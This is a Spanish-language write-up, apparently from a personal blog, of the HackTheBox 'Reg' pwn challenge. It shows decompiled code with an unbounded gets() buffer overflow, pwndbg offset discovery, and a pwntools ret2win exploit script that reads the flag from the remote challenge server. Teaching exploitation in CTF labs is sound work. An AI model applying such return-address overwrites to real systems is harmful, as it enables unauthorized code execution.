xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Reg



Enumeración


El binario entregado solo parece registrar el nombre de un usuario proporcionado

❯ ./reg
Enter your name : name  
Registered!

Podemos analizarlo con ida para asi poder ver el pseudocodigo de main en c

La función main solo llama a la funcion run, esta define un buffer de 48 bytes para una string que recibe posteriormente con gets, esto es una mala practica ya que el uso de esta funcion con un buffer tan limitado puede ocasionar un buffer overflow

int __fastcall main(int argc, const char **argv, const char **envp)  
{
  run();
  return 0;
}

int run()
{
  char string[48]; // [rsp+0h] [rbp-30h] BYREF

  initialize();
  printf("Enter your name : ");
  gets(string);
  return puts("Registered!");
}

Ademas de ello encontramos una función llamada winner que su funciomaniento es leer de un archivo llamado flag.txt y mostrar su contenido a traves de la consola

int winner()
{
  char string[1032]; // [rsp+0h] [rbp-410h] BYREF  
  FILE *stream; // [rsp+408h] [rbp-8h]

  puts("Congratulations!");
  stream = fopen("flag.txt", "r");
  fgets(string, 1024, stream);
  puts(string);
  return fclose(stream);
}

Mirando las protecciones del binario nos encontramos con NX que nos impedira poder ejecutar shellcode en la pila por lo que tendremos que buscar alternativas

❯ checksec reg
[*] '/home/kali/reg'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)  


Explotación


Para iniciar abrimos le binario con gdb y creamos un patron de 100 caracteres especiales para buscar el offset, despues corremos el programa y lo enviamos

❯ gdb -q reg
Reading symbols from reg...
(No debugging symbols found in reg)
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> run
Starting program: /home/kali/reg
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa  
Registered!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in run ()
pwndbg>

Una vez corrompe podemos buscar el offset usando cyclic -l que es la cantidad de bytes necesarios antes de sobreescribir la siguiente instruccion de retorno

pwndbg> x/gx $rsp
0x7fffffffe588:	0x6161616161616168
pwndbg> cyclic -l 0x6161616161616168
Finding cyclic pattern of 8 bytes: b'haaaaaaa' (hex: 0x6861616161616161)  
Found at offset 56
pwndbg>

Aprovecharemos la funcion winner para enviarla como la siguiente instruccion y asi leer la flag remotamente, podemos conseguir su direccion facilmente desde gdb

pwndbg> print winner
$1 = {<text variable, no debug info>} 0x401206 <winner>  
pwndbg>

La idea del siguiente exploit es simple, enviar los 56 bytes de basura y en la siguiente instruccion enviar la direccion de winner para asi leer la flag del servidor

#!/usr/bin/python3
from pwn import remote, p64, log, sys

if len(sys.argv) < 2:
    log.failure(f"Uso: python3 {sys.argv[0]} <host:port>")  
    sys.exit(1)

host, port = sys.argv[1].split(":")
shell = remote(host, port)

offset = 56
junk = b"A" * offset

winner = p64(0x401206)

payload = junk + winner

shell.sendlineafter(b"name : ", payload)
flag = shell.recvline_contains(b"HTB").decode()

log.success(f"Flag: {flag}")

Al ejecutar el exploit conseguimos leer el archivo flag.txt y completar el reto

❯ python3 exploit.py 206.189.28.180:30398
[+] Opening connection to 206.189.28.180 on port 30398: Done  
[+] Flag: HTB{N3W_70_pWn}
[*] Closed connection to 206.189.28.180 port 30398